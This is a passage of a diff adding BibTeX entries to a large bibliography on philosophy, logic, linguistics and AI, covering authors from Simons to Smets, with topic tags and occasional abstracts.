+ address = {Stanford, California}, + topic = {corpus-linguistics;multilingual-corpora;} + } + +@incollection{ simons_gf:1998a, + author = {Gary F. Simons}, + title = {The Nature of Linguistic Data and + the Requirements of a Computing Environment + for Linguistic Research}, + booktitle = {Using Computers in Linguistics: A Practical Guide}, + publisher = {Routledge}, + year = {1998}, + editor = {John Lawler and Aristar Dry}, + pages = {10--25}, + address = {London}, + topic = {linguistics-and-computation; + computational-field-linguistics;} + } + +@book{ simons_m-galloway:1995a, + editor = {Mandy Simons and Teresa Galloway}, + title = {Proceedings from Semantics and Linguistic Theory + {V}}, + publisher = {Cornell University}, + year = {1995}, + address = {Ithaca, New York}, + note = {Available from CLC Publications, Department of Linguistics, + Morrill Hall, Cornell University, Ithaca, NY 14853-4701.}, + topic = {nl-semantics;} + } + +@article{ simons_m:1996a, + author = {Mandy Simons}, + title = {Pronouns and Definite Descriptions: A Critique of + {W}ilson}, + journal = {The Journal of Philosophy}, + year = {1996}, + volume = {93}, + number = {8}, + pages = {408--420}, + topic = {philosophy-of-language;definite-descriptions;demonstratives;} + } + +@article{ simons_m:2001a, + author = {Mandy Simons}, + title = {Disjunction and Alternativeness}, + journal = {Linguistics and Philosophy}, + year = {2001}, + volume = {24}, + number = {5}, + pages = {597--619}, + topic = {disjunction;alternatives;} + } + +@book{ simons_p:1987a, + author = {Peter Simons}, + title = {Parts: A Study in Ontology}, + publisher = {Oxford University Press}, + year = {1987}, + address = {Oxford}, + topic = {mereology;} + } + +@article{ simons_p-etal:2002a, + author = {Patrik Simons and Ilkka Niemel\"a and TImo Soininen}, + title = {Extending and Implementing the Stable Model Semantics}, + journal = {Artificial Intelligence}, + year = {2002}, + volume = {138}, + number = {1--2}, + pages = {181--234}, + topic = {logic-programming;stable-models;} + } + +@article{ sims:1972a, + author = {C. Sims}, + title = {Money, Income, and Causality}, + journal = {American Economic review}, + year = {1972}, + volume = {62}, + pages = {540--552}, + missinginfo = {A's 1st name, number}, + topic = {econometrics;causality;} + } + +@book{ sinclair_a-etal:1978a, + editor = {A. Sinclair and R.J. Jarvella and W.J.M. Levelt}, + title = {The Child's Conception of Language}, + publisher = {Springer-Verlag}, + year = {1978}, + address = {Berlin}, + ISBN = {0521651077 (hb)}, + topic = {folk-linguistics;developmental-psychology;} + } + +@book{ sinclair_jm-coulthard:1975a, + author = {J.M. Sinclair and Malcolm Coulthard}, + title = {Towards an Analysis of Discourse: The {E}nglish Used by + Teachers and Pupils}, + publisher = {Oxford University Press}, + year = {1975}, + address = {Oxford}, + missinginfo = {A's 1st name.}, + contentnote = {This is cited by Levinson as an attempt at "Speech Act + Grammar.}, + topic = {discourse-analysis;speech-acts;pragmatics;} + } + +@inproceedings{ singh_m1:1991a, + author = {Munindar P. Singh}, + title = {A Logic of Situated Know-How}, + booktitle = {Proceedings of the Ninth National Conference on + Artificial Intelligence}, + editor = {Thomas Dean and Kathy McKeown}, + year = {1991}, + pages = {343--348}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {action;} + } + +@inproceedings{ singh_m1:1991b, + author = {Minindar Singh}, + title = {Intentions, Commitments and Rationality}, + booktitle = {Proceedings of the Thirteenth Annual Meeting of the Cognitive + Science Society}, + year = {1991}, + organization = {Cognitive Science Society}, + missinginfo = {Editor, address, pages, publisher}, + topic = {foundations-of-planning;} + } + +@article{ singh_m1-asher:1993a, + author = {Minindar Singh and Nicholas Asher}, + title = {A Logic of Intentions and Beliefs}, + journal = {Journal of Philosophical Logic}, + year = {1993}, + volume = {22}, + number = {5}, + pages = {513--554}, + topic = {action-formalisms;intention;belief;} + } + +@book{ singh_m1:1994a, + author = {Minindar Singh}, + title = {Multiagent Systems: A Theoretical Framework for Intentions, + Know-How, and Communications}, + publisher = {Springer Verlag}, + year = {1994}, + address = {Berlin}, + topic = {foundations-of-planning;epistemic-logic;} + } + +@inproceedings{ singh_m2-etal:1997a, + author = {Mona Singh and James Barnett and Minidar P. Singh}, + title = {Enhancing Conversational Moves for Portable Dialogue Systems}, + booktitle = {Working Notes: {AAAI} Fall Symposium on Communicative + Action in Humans and Machines}, + year = {1997}, + pages = {90--96}, + organization = {{AAAI}}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + editor = {David Traum}, + topic = {speech-acts;pragmatics;discourse;} + } + +@article{ singh_m2:1998a, + author = {Mona Singh}, + title = {On the Semantics of the Perfective Aspect}, + journal = {Natural Language Semantics}, + year = {1998}, + volume = {6}, + number = {2}, + pages = {171--199}, + topic = {perfective-aspect;tense-aspect;nl-semantics;} + } + +@inproceedings{ singh_n-etal:1995a, + author = {Narinder Singh and Omar Tawakol and Michael + Genesereth}, + title = {A Name-Space Context Graph for + Multi-Context, Multi-Agent Systems}, + booktitle = {Formalizing Context}, + year = {1995}, + editor = {Sasa Buva\v{c}}, + pages = {79--84}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {context;multiagent-systems;} + } + +@article{ singh_yp-roychowdhury:2001a, + author = {Y.P. Singh and Pinaki RoyChowdhury}, + title = {Dynamic Tunneling Based Regularization in Feedforward + Neural Networks}, + journal = {Artificial Intelligence}, + year = {2001}, + volume = {131}, + number = {1--2}, + pages = {55--71}, + topic = {connectionist-models;machine-learning;} + } + +@article{ sinnotarmstrong:1985a, + author = {Walter Sinnot-Armstrong}, + title = {A Solution to {F}orrester's Paradox of Gentle Murder}, + journal = {The Journal of Philosophy}, + year = {1985}, + volume = {82}, + number = {3}, + pages = {162--168}, + topic = {deontic-logic;} + } + +@incollection{ sinnotarmstrong-behnke:2000a, + author = {Walter Sinnot-Armstrong and Stephen Behnke}, + title = {Responsibility in Cases of Multiple Personality Disorder}, + booktitle = {Philosophical Perspectives 14: Action and Freedom}, + publisher = {Blackwell Publishers}, + year = {2000}, + editor = {James E. Tomberlin}, + pages = {301--323}, + address = {Oxford}, + topic = {blameworthiness;multiple-personality-disorder;} + } + +@article{ sinnottarmstrong:1984a, + author = {Walter Sinnott-Armstrong}, + title = {`{O}ught' Conversationally Implies `Can'}, + journal = {The Philosophical Review}, + year = {1984}, + volume = {93}, + number = {2}, + pages = {249--261}, + topic = {implicature;pragmatics;deontic-logic;} + } + +@book{ sinnottarmstrong:1988a, + author = {Walter Sinnott-Armstrong}, + title = {Moral Dilemmas}, + publisher = {Basil Blackwell}, + year = {1988}, + address = {Oxford}, + ISBN = {0631157085}, + topic = {ethics;moral-conflict;} + } + +@book{ sinnottarmstrong-timmons:1996a, + editor = {Walter Sinnott-Armstrong and Mark Timmons}, + title = {Moral Knowledge? New Readings In Moral Epistemology}, + publisher = {Oxford University Press}, + year = {1996}, + address = {Oxford}, + ISBN = {0195089898 (pbk.)}, + topic = {echics;epistemology;} + } + +@book{ sipser:1997a, + author = {Michael Sipser}, + title = {Introduction to the Theory of Computation}, + publisher = {PWS Publishing Co.}, + year = {1997}, + address = {Boston, Massachusetts}, + ISBN = {0-534-944728-X}, + topic = {automata-theory;finite-state-automata;computability; + context-free-grammars;complexity-theory;theoretical-cs-intro;} + } + +@inproceedings{ siskind:1990a, + author = {Jeffrey Mark Siskind}, + title = {Acquiring Core Meanings of Words, Represented as + {J}ackendoff-Style Conceptual Structures, From Correlated + Streams of Linguistic and Non-Linguistic Input}, + booktitle = {ACL90, Proceedings of the 28th Meeting of the + Association for Computational Linguistics}, + pages = {143--156}, + year = {1990}, + topic = {cognitive-semantics;machine-language-learning;} + } + +@phdthesis{ siskind:1992a, + author = {Jeffrey Mark Siskind}, + title = {Naive Physics, Event Perception, Lexical Semantics, and + Language Acquisition}, + school = {Massachusets Institute of Technology}, + year = {1992}, + month = {January}, + note = {Technical Report {MIT} Artificial Intelligence Laboratory 1456.}, + topic = {machine-language-learning;computational-lexical-semantics;} + } + +@techreport{ siskind-mcallester:1993a, + author = {Jeffrey Mark Siskind and David Allen McAllester}, + title = {Screamer: A Portable Efficient Implementation of + Nondeterministic Common Lisp}, + institution = {University of Pennsylvania Institute for Research in + Cognitive Science}, + number = {IRCS-93-03}, + year = {1991}, + address = {Philadelphia, PA}, + topic = {lisp-tools;} + } + +@inproceedings{ siskind-mcallester:1993b, + author = {Jeffrey Mark Siskind and David Allen McAllester}, + title = {Nondeterministic Lisp as a Substrate for Constraint Logic + Programming}, + booktitle = {Proceedings of the Eleventh National Conference on + Artificial Intelligence}, + year = {1993}, + editor = {Richard Fikes and Wendy Lehnert}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + missinginfo = {pages}, + topic = {constraint-satisfaction;} + } + +@article{ sistla-clarke:1985a, + author = {A.P. Sistla and E.M. Clarke}, + title = {The Complexity of Propositional Linear Temporal Logics}, + journal = {Journal of the {ACM}}, + year = {1985}, + volume = {32}, + number = {3}, + pages = {733--749}, + missinginfo = {A's 1st name}, + topic = {temporal-logic;algorithmic-complexity;} + } + +@book{ skagesgestad:1981a, + author = {Peter Skagesgestad}, + title = {The Road of Inquiry: {P}eirce's Pragmatic Realism}, + publisher = {Columbia University Press}, + year = {1981}, + address = {New York}, + topic = {Peirce;} + } + +@incollection{ skinner-luger:1992a, + author = {James M. Skinner and George F. Luger}, + title = {An Architecture for Integrating Reasoning Paradigms}, + booktitle = {{KR}'92. Principles of Knowledge Representation and + Reasoning: Proceedings of the Third International Conference}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Bernhard Nebel and Charles Rich and William Swartout}, + pages = {753--761}, + address = {San Mateo, California}, + topic = {kr;hybrid-kr-architectures;} + } + +@book{ sklar:1995a, + author = {Lawrence Sklar}, + title = {Physics and Chance: Philosophical Issues in the + Foundations of Statistical Mechanics}, + publisher = {Cambridge University Press}, + year = {1995}, + address = {Cambridge, England}, + topic = {philosophy-of-science;} + } + +@article{ sklar:2001a, + author = {Lawrence Sklar}, + title = {Review of {\it Explaining Chaos}, by {P}eter {S}mith}, + journal = {The Philosophical Review}, + year = {2001}, + volume = {110}, + number = {2}, + pages = {289--290}, + xref = {Review of: smith_p:1998a}, + topic = {chaos-theory;philosophy-of-physics;} + } + +@article{ skuce:1993a, + author = {Douglas Skuce}, + title = {Review of {\it Building Large Knowledge-Based Systems: + Representation and Inference in the {CYC} Project}, by + {D}.{B}. {L}enat and {R}.{V}. {G}uha}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {61}, + number = {1}, + pages = {81--94}, + xref = {Review of lenat-guha:1989a.}, + topic = {kr;large-kr-systems;kr-course;} + } + +@article{ skura:1996a, + author = {Tomasz Skura}, + title = {A Lukasiewicz-Style Refutation System for the Modal Logic + {S4}}, + journal = {Journal of Philosophical Logic}, + year = {1996}, + volume = {24}, + number = {6}, + pages = {573--582}, + topic = {modal-logic;} + } + +@article{ skvortsov:1995a, + author = {Dimitrij Skvortsov}, + title = {On the Predicate Logic of Finite Kripke Frames}, + journal = {Studia Logica}, + year = {1995}, + volume = {54}, + number = {1}, + pages = {79--88}, + topic = {arithmetic-hierarchy;} + } + +@article{ skvortsov:1997a, + author = {Dmitrij Skvortsov}, + title = {Not Every `Tabular' Predicate Logic is Finitely + Axiomatizable}, + journal = {Studia Logica}, + year = {1997}, + volume = {59}, + number = {3}, + pages = {387--396}, + topic = {finitely-axiomatizable-logics;} + } + +@article{ skvortsov:1998a, + author = {David Skvortsov}, + title = {On Some {K}ripke Complete and {K}ripke Incomplete + Intermediate Predicate Logics}, + journal = {Studia Logica}, + year = {1998}, + volume = {61}, + number = {2}, + pages = {281--292}, + topic = {quantifying-in-modality;} + } + +@book{ skyrms:1966a, + author = {Brian Skyrms}, + title = {Choice and Chance; An Introduction to Inductive Logic}, + publisher = {Dickenson Publishing Co.}, + year = {1966}, + address = {Belmont, California}, + topic = {statistical-inference;induction;} + } + +@book{ skyrms:1980a, + author = {Brian Skyrms}, + title = {Causal Necessity: A Pragmatic Investigation of the Necessity + of Laws}, + publisher = {Yale University Press}, + year = {1980}, + address = {New Haven}, + contentnote = {According to McGee this contains a suggestion about + nonstandard probabilities and Popper probabilities.}, + topic = {causality;philosophy-of-science;primitive-conditional-probability; + nonstandard-probability;} + } + +@article{ skyrms:1982a, + author = {Brian Skyrms}, + title = {Causal Decision Theory}, + journal = {The Journal of Philosophy}, + year = {1982}, + volume = {74}, + number = {11}, + pages = {695--711}, + topic = {causal-decision-theory;} + } + +@incollection{ skyrms:1984a, + author = {Brian Skyrms}, + title = {Intensional Aspects of Self-Reference}, + booktitle = {Recent Essays on the Liar Paradox}, + publisher = {Oxford University Press}, + year = {1984}, + editor = {Robert L. Martin}, + pages = {119--131}, + address = {Oxford}, + topic = {self-reference;} + } + +@incollection{ skyrms:1984b, + author = {Brian Skyrms}, + title = {{EPR}: Lessons for Metaphysics}, + booktitle = {Causation and Causal Theories}, + publisher = {University of Minnesota Press}, + year = {1984}, + editor = {Peter A. French and Theodore E. Uehling, Jr. and Howard + K. Wettstein}, + pages = {245--255}, + address = {Minneapolis}, + topic = {metaphysics;EPR;causality;} + } + +@article{ skyrms:1987a, + author = {Brian Skyrms}, + title = {Updating, Supposing and {\sc Maxent}}, + journal = {Theory and Decision}, + year = {1987}, + volume = {22}, + pages = {225--226}, + missinginfo = {number}, + topic = {belief-revision;world-entropy;} + } + +@incollection{ skyrms:1988a, + author = {Brian Skyrms}, + title = {Deliberational Dynamics and The Foundations of + {B}ayesian Game Theory}, + booktitle = {Philosophical Perspectives, Vol. 2: Epistemology}, + publisher = {Blackwell Publishers}, + year = {1988}, + editor = {James E. Tomberlin}, + pages = {345--367}, + address = {Oxford}, + topic = {game-theory;deliberation-kinematics;} + } + +@book{ skyrms-harper:1988a, + editor = {Brian Skyrms and William L. Harper}, + title = {Causation, Chance, and Credence}, + publisher = {Kluwer Academic Publishers}, + year = {1988}, + address = {Dordrecht}, + topic = {causality;probability;statistical-inference;} + } + +@book{ skyrms:1990a, + author = {Brian Skyrms}, + title = {The Dynamics of Rational Deliberation}, + publisher = {Harvard University Press}, + year = {1990}, + address = {Cambridge, Massachusetts}, + topic = {probability;belief-revision;} + } + +@inproceedings{ skyrms:1990b, + author = {Brian Skyrms}, + title = {Dynamic Models of Deliberation and the Theory of Games}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Third Conference ({TARK} 1990)}, + year = {1990}, + editor = {Rohit Parikh}, + pages = {185--200}, + publisher = {Morgan Kaufmann}, + address = {Los Altos, California}, + topic = {game-theory;decision-theory;} + } + +@inproceedings{ skyrms:1992a, + author = {Brian Skyrms}, + title = {Three Ways to Give a Probability Function a Memory}, + booktitle = {Testing Scientific Theories}, + publisher = {University of Minnesota Press}, + year = {1992}, + editor = {John Earman}, + pages = {157--161}, + address = {Minneapolis}, + topic = {foundations-of-probability;} + } + +@article{ skyrms:1992b, + author = {Brian Skyrms}, + title = {Chaos in Game Dynamics}, + journal = {Journal of Logic, Language, and Information}, + year = {1992}, + volume = {1}, + number = {2}, + pages = {111--130}, + topic = {game-theory;chaos-theory;} + } + +@incollection{ skyrms:1994a, + author = {Brian Skyrms}, + title = {Adams Conditionals}, + booktitle = {Probability and Conditionals: Belief Revision and Rational + Decision}, + publisher = {Cambridge University Press}, + year = {1994}, + pages = {13--26}, + editor = {Ellery Eells and Brian Skyrms}, + address = {Cambridge, England}, + topic = {probability;conditionals;} + } + +@article{ skyrms:1998a, + author = {Brian Skyrms}, + title = {Subjunctive Conditionals and Revealed Preference}, + journal = {Philosophy of Science}, + year = {1998}, + volume = {65}, + number = {4}, + pages = {545--574}, + topic = {conditionals;decision-theory;foundations-of-game-theory;} + } + +@incollection{ skyrms-vandreschraaf:1998a, + author = {Brian Skyrms and Peter Vanderschraaf}, + title = {Game Theory}, + booktitle = {Handbook of Defeasible Reasoning and Uncertainty + Management Systems, Volume 1: Quantified Representation + of Uncertainty and Imprecision}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {Dov M. Gabbay and Philippe Smets}, + pages = {391--439}, + address = {Dordrecht}, + topic = {game-theory;} + } + +@inproceedings{ slade:1995a, + author = {Stephen Slade}, + title = {A Realistic Model of Rationality}, + booktitle = {Working Papers of the {AAAI} Fall Symposium on + Rational Agency: Concepts, Theories, Models, and Applications}, + year = {1995}, + editor = {Michael Fehling}, + pages = {126--130}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {limited-rationality;} + } + +@article{ slaney:1989a, + author = {John Slaney}, + title = {Solution to a Problem of {O}no and {K}omori}, + journal = {Journal of Philosophical Logic}, + year = {1989}, + volume = {18}, + number = {1}, + pages = {103--111}, + topic = {proof-theory;} + } + +@article{ slaney-thiebaux:2001a, + author = {John Slaney and Sylvie Thi\'ebaux}, + title = {Blocks World Revisited}, + journal = {Artificial Intelligence}, + year = {2001}, + volume = {125}, + number = {1--2}, + pages = {119--153}, + topic = {planning-algorithms;experimental-testing-of-kr-systems;} + } + +@article{ slater_bh:1995a, + author = {B.H. Slater}, + title = {Paraconsistent Logics?}, + journal = {Journal of Philosophical Logic}, + year = {1995}, + volume = {24}, + number = {4}, + pages = {451--454}, + topic = {paraconsistency;} + } + +@article{ slater_bh:2000a, + author = {B.H. Slater}, + title = {Quantifier/Variable-Binding}, + journal = {Linguistics and Philosophy}, + year = {1000}, + volume = {23}, + number = {3}, + pages = {309--321}, + topic = {anaphora;donkey-anaphora;} + } + +@incollection{ slator_ba-wilks:1981a, + author = {Brian A. Slator and Yorick Wilks}, + title = {{PREMO}: Parsing by + Conspicuous Lexical Consumption}, + booktitle = {Current Issues in Parsing Technology}, + publisher = {Kluwer Academic Publishers}, + year = {1981}, + editor = {Masaru Tomita}, + pages = {85--102}, + address = {Dordrecht}, + topic = {parsing-algorithms;semantics-in-parsing;} + } + +@incollection{ slator_bn:1992a, + author = {Brian N. Slator}, + title = {Sense and Preference}, + booktitle = {Semantic Networks in Artificial Intelligence}, + publisher = {Pergamon Press}, + year = {1992}, + editor = {Fritz Lehmann}, + pages = {391--402}, + address = {Oxford}, + topic = {kr;semantic-networks;computational-lexical-semantics; + word-sense;lexical-disambiguation;kr-course;} + } + +@article{ sleeman-smith:1981a, + author = {D.H. Sleeman and M.J. Smith}, + title = {Modelling Student's Problem Solving}, + journal = {Artificial Intelligence}, + year = {1981}, + volume = {16}, + number = {2}, + pages = {171--188}, + acontentnote = {Abstract: + The task of modelling a student's problem solving is + intrinsically one of induction. In this paper, a further + instance of induction formulated as a search is reported. A + formulation of this search problem which `contains' the + Combinatorics is discussed at some length; and several + heuristics which further reduce the size of the space defined by + the domain's rules and mal-rules are presented. + The Production Rule representation of (some) arithmetic + operators is given, and the behaviour of generated models with + examples is included. The paper concludes with a review of the + basic assumptions made by the Modelling System, LMS, and + suggestions for some extensions. } , + topic = {problem-solving;cognitive-modeling;} + } + +@book{ sleeman-brown_jh:1982a, + editor = {Derek H. Sleeman and John Seely Brown}, + title = {Intelligent Tutoring Systems}, + publisher = {Academic Press}, + year = {1982}, + address = {New York}, + ISBN = {0126486808}, + topic = {intelligent-tutoring;} + } + +@incollection{ slobin:1971a, + author = {Dan I. Slobin}, + title = {Developmental Psycholinguistics}, + booktitle = {A Survey of Linguistic Science}, + publisher = {Privately Published, Linguistics Program, University of + Maryland.}, + year = {1971}, + editor = {William Orr Dingwall}, + pages = {297--410}, + address = {College Park, Maryland}, + topic = {psycholinguistics;L1-language-learning;} + } + +@incollection{ slocum:1978a, + author = {Jonathan Slocum}, + title = {Generating a Verbal Response}, + booktitle = {Understanding Spoken Language}, + publisher = {North-Holland}, + year = {1978}, + editor = {Donald E. Walker}, + pages = {375--381}, + address = {Amsterdam}, + topic = {nl-generation;computational-dialogue;} + } + +@article{ sloman:1971a, + author = {Aaron Sloman}, + title = {Interactions between Philosophy and Artificial + Intelligence: The Role of Intuition and Non-Logical Reasoning in + Intelligence}, + journal = {Artificial Intelligence}, + year = {1971}, + volume = {2}, + number = {3--4}, + pages = {209--225}, + topic = {philosophy-AI;foundations-of-AI;} + } + +@inproceedings{ sloman-croucher:1981a, + author = {Aaron Sloman and M. Croucher}, + title = {Why Robots Will Have Emotions}, + booktitle = {Proceedings of the Seventh International Joint + Conference on Artificial Intelligence}, + year = {1981}, + publisher = {Morgan Kaufmann}, + address = {Los Altos, California}, + topic = {philosophy-AI;synthesized-emotions;} + } + +@incollection{ sloman:1984a, + author = {Aaron Sloman}, + title = {The Structure of the Space of Possible Minds}, + booktitle = {The Mind and the Machine: Philosophical Aspects + of Artificial Intelligence}, + publisher = {Ellis Horwood, Ltd.}, + year = {1984}, + editor = {Steve B. Torrance}, + pages = {35--42}, + address = {Chichester}, + topic = {philosophy-and-AI;philosophy-of-mind;} + } + +@inproceedings{ sloman:1985a, + author = {Aaron Sloman}, + title = {What Enables a Machine to Understand?}, + booktitle = {Proceedings 9th International Joint Conference on AI}, + year = {1985}, + pages = {995--1001}, + topic = {philosophy-AI;} + } + +@incollection{ sloman:1985b, + author = {Aaron Sloman}, + title = {Why We Need Many Knowledge Representations}, + booktitle = {Research and Development in Expert Systems}, + publisher = {Cambridge University Press}, + year = {1985}, + editor = {Max Bramer}, + pages = {163--183}, + address = {Cambridge, England}, + topic = {kr;foundations-of-kr;kr-course;} + } + +@article{ sloman:1989a, + author = {Aaron Sloman}, + title = {On Designing a Visual System (Towards a Gibsonian Computational + Model of Vision)}, + journal = {Journal of Experimental and Theoretical AI}, + year = {1989}, + volume = {1}, + number = {4}, + pages = {289--337}, + topic = {computer-vision;philosophy-AI;} + } + +@article{ sloman:1992a, + author = {Aaron Sloman}, + title = {The Emperor's Real Mind: Review of {R}oger {P}enrose's + `The Emperor's New Mind: Concerning Computers, Minds and the + Laws of Physics'}, + journal = {Artificial Intelligence}, + year = {1992}, + volume = {56}, + number = {2--3}, + pages = {356--396}, + xref = {Review of penrose:1989a.}, + topic = {foundations-of-cognition;goedels-first-theorem; + goedels-second-theorem;philosophy-of-computation;} + } + +@inproceedings{ sloman:1994a, + author = {Aaron Sloman}, + title = {Explorations in Design Space}, + booktitle = {Proceedings 11th European Conference on {AI}}, + year = {1994}, + topic = {philosophy-AI;} + } + +@article{ sloman:1994b, + author = {Aaron Sloman}, + title = {Semantics in an Intelligent Control System}, + journal = {Philosophical Transactions of the Royal Society, Series A: + Physical Sciences and Engineering}, + year = {1994}, + volume = {349}, + number = {1689}, + pages = {3--57}, + note = {Available at http://www.jstor.org/journals/09628428.html}, + topic = {cognitive-architectures;foundations-of-AI;} + } + +@inproceedings{ sloman:1995a, + author = {Aaron Sloman}, + title = {Exploring Design Space and Niche Space}, + booktitle = {In Proceedings 5th Scandinavian Conference on AI}, + year = {1995}, + publisher = {IOS Press}, + address = {Amsterdam}, + topic = {philosophy-AI;} + } + +@inproceedings{ sloman:1995b, + author = {Aaron Sloman}, + title = {A Philosophical Encounter}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Chris Mellish}, + pages = {2037--2000}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {philosophy-AI;} + } + +@incollection{ sloman:1995c, + author = {Aaron Sloman}, + title = {Introduction (To Part {I}: Foundations}, + booktitle = {Diagrammatic Reasoning}, + publisher = {The {MIT} Press}, + year = {1995}, + editor = {Janice Glasgow and N. Hari Narayanan and B. + Chandrasekaran}, + pages = {3--6}, + address = {Cambridge, Massachusetts}, + topic = {diagrams;reasoning-with-diagrams;visual-reasoning;} + } + +@incollection{ sloman:1995d, + author = {Aaron Sloman}, + title = {Musings on the Roles of Logical and Non-Logical + Representations in Intelligence}, + booktitle = {Diagrammatic Reasoning}, + publisher = {The {MIT} Press}, + year = {1995}, + editor = {Janice Glasgow and N. Hari Narayanan and B. + Chandrasekaran}, + pages = {7--32}, + address = {Cambridge, Massachusetts}, + xref = {Reublication: funt:1980a2.}, + topic = {diagrams;reasoning-with-diagrams;visual-reasoning;} + } + +@incollection{ sloman:1996a, + author = {Aaron Sloman}, + title = {Actual Possibilities}, + booktitle = {{KR}'96: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Luigia Carlucci Aiello and Jon Doyle and Stuart Shapiro}, + pages = {627--638}, + address = {San Francisco, California}, + topic = {kr;foundations-of-modal-logic;causality;kr-course;} + } + +@article{ slote:1978a, + author = {Michael Slote}, + title = {Time in Counterfactuals}, + journal = {Philosophical Review}, + year = {1978}, + volume = {7}, + number = {1}, + pages = {3--27}, + title = {Causality and the Concept of a `Thing'\,}, + booktitle = {Midwest Studies in Philosophy Volume {V}: + Studies in Metaphysics}, + publisher = {University of Minnesota Press}, + year = {1979}, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard K. + Wettstein}, + pages = {387--400}, + address = {Minneapolis}, + topic = {causality;individuation;philosophical-ontology;} + } + +@article{ slote:1980a, + author = {Michael A. Slote}, + title = {Understanding Free Will}, + journal = {The Journal of Philosophy}, + year = {1980}, + volume = {77}, + number = {3}, + pages = {136--151}, + topic = {freedom;} + } + +@book{ slote:1989a, + author = {Michael Slote}, + title = {Beyond Optimizing: {A} Study of Rational Choice}, + publisher = {Harvard University Press}, + address = {Cambridge, Massachusetts}, + year = {1989}, + topic = {rationality;practical-reasoning;decision-making;} + } + +@incollection{ smaby:1978a, + author = {Richard M. Smaby}, + title = {Ambiguous Coreference with Quantifiers}, + booktitle = {Formal Semantics and Pragmatics for Natural Languages}, + publisher = {D. Reidel Publishing Co.}, + year = {1978}, + editor = {Franz Guenthner and S.J. Schmidt}, + pages = {37--75}, + address = {Dordrecht}, + topic = {nl-semantics;anaphora;} + } + +@article{ smadja-mckeown:1991a, + author = {Frank Smadja and Kathleen McKeown}, + title = {Using Collocations for Language Generation}, + pages = {229--239}, + journal = {Computational Intelligence}, + volume = {7}, + number = {4}, + year = {1991}, + topic = {collocations;nl-generation;} + } + +@book{ small-etal:1988a, + editor = {Steven L. Small and Garrison W. Cottrell and Michael K. + Tannenhaus}, + title = {Lexical Ambiguity Resolution: Perspectives from + Psycholinguistics, Neuropsychology, and Artificial Intelligence}, + publisher = {Morgan Kaufmann}, + year = {1988}, + address = {San Mateo, California}, + topic = {lexical-disambiguation;} + } + +@book{ smart:1961a, + author = {J. J. C. Smart}, + title = {An Outline of a System of Utilitarian Ethics}, + publisher = {Melbourne University Press}, + year = {1961}, + topic = {utilitarianism;} + } + +@book{ smart:1963a, + author = {J.C.C. Smart}, + title = {Philosophy and Scientific Realism}, + publisher = {Humanities Press}, + year = {1963}, + address = {New York}, + topic = {philosophocal-realism;} + } + +@article{ smart:1974a, + author = {J.C.C. Smart}, + title = {Review of {\it Counterfactuals}, by David K. Lewis}, + journal = {Australasian Journal of Philosophy}, + year = {1974}, + volume = {52}, + number = {2}, + pages = {174--177}, + xref = {Review of lewis_dk:1973a.}, + topic = {conditionals;} + } + +@book{ smedslund:1997a, + author = {Jan Smedslund}, + title = {The Structure of Psychological Common Sense}, + publisher = {Lawrence Erlbaum Associates}, + year = {1997}, + address = {Mahwah, New Jersey}, + topic = {common-sense-reasoning;cognitive-psychology;} + } + +@article{ smessaert:1996a, + author = {Hans Smessaert}, + title = {Monotonicity Properties of Comparative Determiners}, + journal = {Linguistics and Philosophy}, + year = {1996}, + volume = {19}, + number = {3}, + pages = {295--336}, + topic = {comparative-constructions;} + } + +@incollection{ smets-etal:1991a, + author = {Philippe Smets and Y.-T. Hsia and A. Saffiotti and R. Kennes and + H. Xu and E. Umkehrer}, + title = {The Transferable Belief Model}, + booktitle = {Symbolic and Quantitative Approaches for Uncertainty: + Proceedings of the {E}uropean Conference {ECSQAU}, Marseille, + France, October 1991}, + publisher = {Springer-Verlag}, + year = {1991}, + editor = {Rudolf Kruse and Pierre Siegel}, + pages = {91--96}, + address = {Berlin}, + topic = {reasoning-about-uncertainty;probability;} + } + +@article{ smets-kennes:1994a, + author = {Philippe Smets and Robert Kennes}, + title = {The Transferable Belief Model}, + journal = {Artificial Intelligence}, + year = {1994}, + volume = {66}, + number = {2}, + pages = {191--234}, + acontentnote = {Abstract: + We describe the transferable belief model, a model for + representing quantified beliefs based on belief functions. + Beliefs can be held at two levels: (1) a credal level where + beliefs are entertained and quantified by belief functions, (2) + a pignistic level where beliefs can be used to make decisions + and are quantified by probability functions. The relation + between the belief function and the probability function when + decisions must be made is derived and justified. Four paradigms + are analyzed in order to compare Bayesian, upper and lower + probability, and the transferable belief approaches. + } , + topic = {probability;probabilistic-reasoning;} + } + +@article{ smets:1997a, + author = {Philippe Smets}, + title = {The Normative Representation of Quantified Beliefs by + Belief Functions}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {92}, + number = {1--2}, + pages = {229--242}, + topic = {agent-attitudes;qualitative-probability;probability;belief;} + } + +@incollection{ smets:1998a, + author = {Philippe Smets}, + title = {Numerical Representation of Uncertainty}, + booktitle = {Handbook of Defeasible Reasoning and Uncertainty + Management Systems, Volume 3: Belief Change}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {Didier Dubois and Henri Prade}, + pages = {265--309}, + address = {Dordrecht}, + topic = {belief-revision;} + } + +@incollection{ smets:1998b, + author = {Philippe Smets}, + title = {The Transferrable Belief Model for + Quantified Belief Representation}, + booktitle = {Handbook of Defeasible Reasoning and Uncertainty + Management Systems, Volume 1: Quantified Representation + Uncertainty and Imprecision}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {Philippe Smets}, + pages = {267--301}, + address = {Dordrecht}, + topic = {reasoning-about-uncertainty;statistical-inference;} + } + +@incollection{ smets:1998c, + author = {Philippe Smets}, + title = {Probability, Possibility, Belief: Which + and Where}, + booktitle = {Handbook of Defeasible Reasoning and Uncertainty + Management Systems, 